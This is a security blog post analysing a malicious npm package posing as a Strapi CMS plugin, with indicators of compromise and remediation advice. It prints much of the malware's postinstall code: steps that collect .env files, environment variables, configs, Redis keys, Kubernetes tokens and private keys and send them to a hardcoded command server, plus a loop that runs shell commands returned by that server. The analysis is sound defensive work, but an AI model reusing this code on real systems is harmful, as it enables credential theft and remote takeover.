Malicious npm Package strapi-plugin-events Deploys Full C2 Agent

SafeDep Team
8 min read

Table of Contents

TL;DR

[email protected] is a malicious npm package disguised as a Strapi CMS plugin. On install, it runs a postinstall script that executes an 11-phase attack: stealing .env files, environment variables, Strapi configuration, private keys, Redis data, Docker/Kubernetes secrets, and network topology. It then opens a polling C2 loop that accepts and executes arbitrary shell commands from a remote server.

Impact:

  • Exfiltrates all .env files and environment variables (database credentials, API keys, JWT secrets)
  • Reads and sends Strapi configuration files (database.js, server.js, plugins.js)
  • Dumps all Redis keys from local instances
  • Steals private keys (.pem, .key, id_rsa), wallet files, and Docker/Kubernetes secrets
  • Opens a 5-minute command-and-control session allowing the attacker to execute arbitrary commands

Indicators of Compromise (IoC):

  • Package: [email protected] on npm
  • C2 server: 144[.]31[.]107[.]231:9999 (plain HTTP)
  • C2 path pattern: /c2/<random-id>/beacon, /c2/<random-id>/poll, etc.
  • find / commands searching for .env*, .pem, .key, id_rsa*, wallet* files
  • Raw TCP connection to 127.0.0.1:6379 (Redis)

Analysis

Package Overview

The package was published on April 3, 2026 by umarbek1233 <[email protected]>. It has a single version (3.6.8), contains only three files, and has no description, repository, or homepage. The version number 3.6.8 is chosen to appear as a mature Strapi v3 community plugin, following the naming convention used by legitimate packages like strapi-plugin-comments or strapi-plugin-upload. All official Strapi plugins are scoped under @strapi/, making this unscoped name a social engineering choice targeting developers searching for community plugins.

The package.json is minimal:

package/package.json
{
"name": "strapi-plugin-events",
"version": "3.6.8",
"main": "index.js",
"scripts": {
"postinstall": "node postinstall.js"
},
"license": "MIT"
}

The index.js exports an empty function, contributing nothing to any application:

package/index.js
module.exports = () => {};

The entire payload lives in postinstall.js.

Execution Trigger

The attack executes immediately on npm install via the postinstall script. No user interaction or require() call is needed. The postinstall script runs with the privileges of the installing user, which in CI/CD environments and Docker containers often means root access.

Malicious Payload

The postinstall.js file implements a structured, multi-phase attack. It first sets up a C2 communication channel, then systematically harvests credentials and secrets, and finally opens a command execution loop.

C2 infrastructure setup. The script establishes communication with a hardcoded server:

package/postinstall.js
var http = require('http');
var exec = require('child_process').execSync;
var fs = require('fs');
var VPS = '144.31.107.231';
var PORT = 9999;
var ID = 'guard-' + Math.random().toString(36).slice(2, 8);

Each infected host generates a random session ID (e.g., guard-k7f2m9) used to namespace all C2 communications. The post() helper sends data via plain HTTP POST to the C2 server with a 15-second timeout.

Phase 1: Beacon. The script sends system reconnaissance data to /c2/<id>/beacon:

package/postinstall.js
var info = {
id: ID,
hostname: run('hostname').trim(),
whoami: run('whoami').trim(),
pwd: process.cwd(),
uname: run('uname -a').trim(),
ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
node: process.version,
};
await post('/c2/' + ID + '/beacon', info);

This gives the attacker an immediate inventory of the compromised host: username, hostname, kernel version, internal IP, and Node.js version.

Phase 2: .env file theft. The script reads .env files from hardcoded paths targeting common Strapi deployment layouts:

package/postinstall.js
var envPaths = [
'/app/.env',
'/app/.env.production',
'/app/.env.local',
'/data/.env',
'/home/strapi/.env',
'/home/node/.env',
'/opt/app/.env',
'/srv/.env',
process.cwd() + '/../.env',
process.cwd() + '/../../.env',
process.cwd() + '/../../../.env',
];

The paths /app/.env, /home/strapi/.env, and /home/node/.env target Docker containers running Strapi with common base images. The relative path traversals (../../.env) walk up from the node_modules install directory to reach the project root.

Phase 3: Environment variable dump. The script runs env via shell to capture every environment variable, including database connection strings, cloud provider credentials, and JWT secrets that Strapi applications commonly configure through environment variables.

package/postinstall.js
var envDump = run('env');
await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));

Phase 4: Strapi configuration files. The script specifically targets Strapi’s configuration directory structure:

package/postinstall.js
var configs = [
'/app/config/database.js',
'/app/config/server.js',
'/app/config/plugins.js',
'/app/config/middleware.js',
'/app/config/functions/bootstrap.js',
'/app/config/environments/production/database.json',
'/app/package.json',
'/app/yarn.lock',
];

These files contain database connection details, API keys for third-party plugins, and the application’s dependency tree.

Phase 5: Filesystem-wide .env discovery. The script uses find to locate every .env file on the system, up to 5 directories deep:

package/postinstall.js
var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");
await post('/c2/' + ID + '/allenv', allEnv);

This is the behavior flagged by our dynamic analysis system. It catches .env files in non-standard locations that the hardcoded paths in Phase 2 would miss.

Phase 6: Redis data dump. The script opens a raw TCP connection to the local Redis instance and dumps all keys:

package/postinstall.js
var net = require('net');
var c = new net.Socket();
c.connect(6379, '127.0.0.1', function () {
c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');
});

Strapi deployments commonly use Redis for caching and session storage. This dumps server info, database size, and every key name, which can include session tokens and cached API responses.

Phase 7: Network reconnaissance. The script collects network topology information:

package/postinstall.js
var internal = run(
'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null'
);

This maps the internal network for lateral movement: DNS resolvers, ARP neighbors, and routing tables reveal other services and hosts reachable from the compromised container.

Phase 8: Docker and Kubernetes secrets. The script attempts to read container orchestration secrets:

package/postinstall.js
var docker = run(
'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null'
);

If the Docker socket is accessible, the attacker can control the host’s Docker daemon. The Kubernetes service account token enables API access to the cluster, potentially allowing privilege escalation beyond the compromised pod.

Phase 9: Private key and wallet theft. The script uses find to locate cryptographic keys and cryptocurrency wallet files:

package/postinstall.js
var keys = run(
"find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null"
);

It then reads up to 10 of the discovered files and sends their contents to the C2 server. This captures TLS private keys, SSH keys, and any files with “private” or “secret” in their name.

Phase 10: Strapi database access attempt. The script attempts to load the application’s knex database driver and configuration:

package/postinstall.js
var dbQuery = run(
"node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1"
);

Phase 11: Polling C2 loop. The final phase establishes a persistent command-and-control channel. The script polls the C2 server every 5 seconds for 60 rounds (approximately 5 minutes), executing any command the server returns:

package/postinstall.js
for (var round = 0; round < 60; round++) {
var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') {
var result = run(cmdResp.trim());
await post(
'/c2/' + ID + '/result',
JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
);
}
await new Promise(function (r) {
setTimeout(r, 5000);
});
}

This gives the attacker interactive shell access to the compromised host. The server responds with nop or ok when idle, and with a shell command when active. Results are sent back to /c2/<id>/result. Using execSync means each command runs with the full privileges of the Node.js process.

Data Exfiltration

All stolen data is sent via plain HTTP POST to 144[.]31[.]107[.]231:9999. The C2 protocol uses path-based routing:

PathData
/c2/<id>/beaconSystem info (hostname, user, IP, kernel)
/c2/<id>/envIndividual .env file contents
/c2/<id>/envdumpFull env output
/c2/<id>/configStrapi configuration files
/c2/<id>/allenvList of all .env files on disk
/c2/<id>/sortedenvSorted environment variables
/c2/<id>/redis-fullRedis server info and all keys
/c2/<id>/network/etc/hosts, resolv.conf, ARP, routes
/c2/<id>/dockerDocker socket, secrets, K8s tokens
/c2/<id>/keysList of private key files found
/c2/<id>/keyfileContents of individual key files
/c2/<id>/resultOutput of C2 commands

No encryption is used. All data, including private keys and credentials, is transmitted in plaintext over HTTP.

Dynamic Analysis

Our Dynamic Analysis pipeline flagged two signals: Stage-9 secret gathering via a find command and Stage-11 C2 communication.

The following command was captured:

Terminal window
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type f

The following are the outbound network connections recorded:

strapi-plugin-events-ip-aggr.csv
idcreated_atanalysis_idip_addressport
1134189554April 3, 2026, 4:00 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
2134189535April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
3134189498April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
4134189441April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
5134189440April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
6134189391April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
7134189363April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
8134189322April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
9134189297April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
10134189268April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
11134189237April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
12134189224April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
13134189223April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
14134189222April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
15134189207April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
16134189206April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
17134189205April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
18134189190April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
19134189183April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
20134189170April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
21134189169April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
22134189168April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
23134189167April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
24134189166April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
25134189165April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
26134189164April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
27134189163April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.6.340
28134189162April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.4.340
29134189161April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.0.340
30134189160April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.11.340
31134189159April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.3.340
32134189158April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.10.340
33134189157April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.7.340
34134189156April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.9.340
35134189155April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.8.340
36134189154April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.1.340
37134189153April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.5.340
38134189152April 3, 2026, 3:59 AM01KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.340
38 rows
| 5 columns

The sandbox recorded 24 outbound connections to 144.31.107.231:9999 — the hardcoded C2 server — spanning the full postinstall execution window (beacon through polling loop). The 104.16.x.34 entries are Cloudflare IPs contacted during npm package resolution.

Notable Characteristics

The attack is specifically engineered for Strapi CMS deployments:

  • File paths target Strapi’s configuration directory layout (/app/config/database.js, /app/config/plugins.js)
  • Environment variable paths target common Strapi Docker image conventions (/home/strapi/.env, /app/.env)
  • Redis dump targets the default local instance commonly used as Strapi’s cache backend
  • The package name follows the Strapi v3 community plugin naming convention (strapi-plugin-*)

The code skips Windows hosts (if (process.platform === 'win32') return), focusing exclusively on Linux servers and containers where Strapi is typically deployed in production.

No obfuscation is used. The source code is readable JavaScript, suggesting the attacker prioritized speed of development over stealth.

Conclusion

[email protected] is a purpose-built attack targeting Strapi CMS deployments. It combines broad credential harvesting with a polling C2 loop for interactive access. The plaintext HTTP communication and lack of obfuscation suggest an opportunistic attacker, but the Strapi-specific targeting (config paths, Docker conventions, Redis access) indicates familiarity with the platform’s deployment patterns.

If you installed this package, rotate all credentials accessible from the affected host, including database passwords, API keys, JWT secrets, and any private keys found on the filesystem. Revoke any Kubernetes service account tokens that may have been exposed.

Use tools like vet to scan your dependency tree for malicious packages before they reach production, and pmg to block malicious packages at install time.

References

  • vet
  • malware
  • supply-chain-security
  • npm
  • credential-theft
  • c2

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App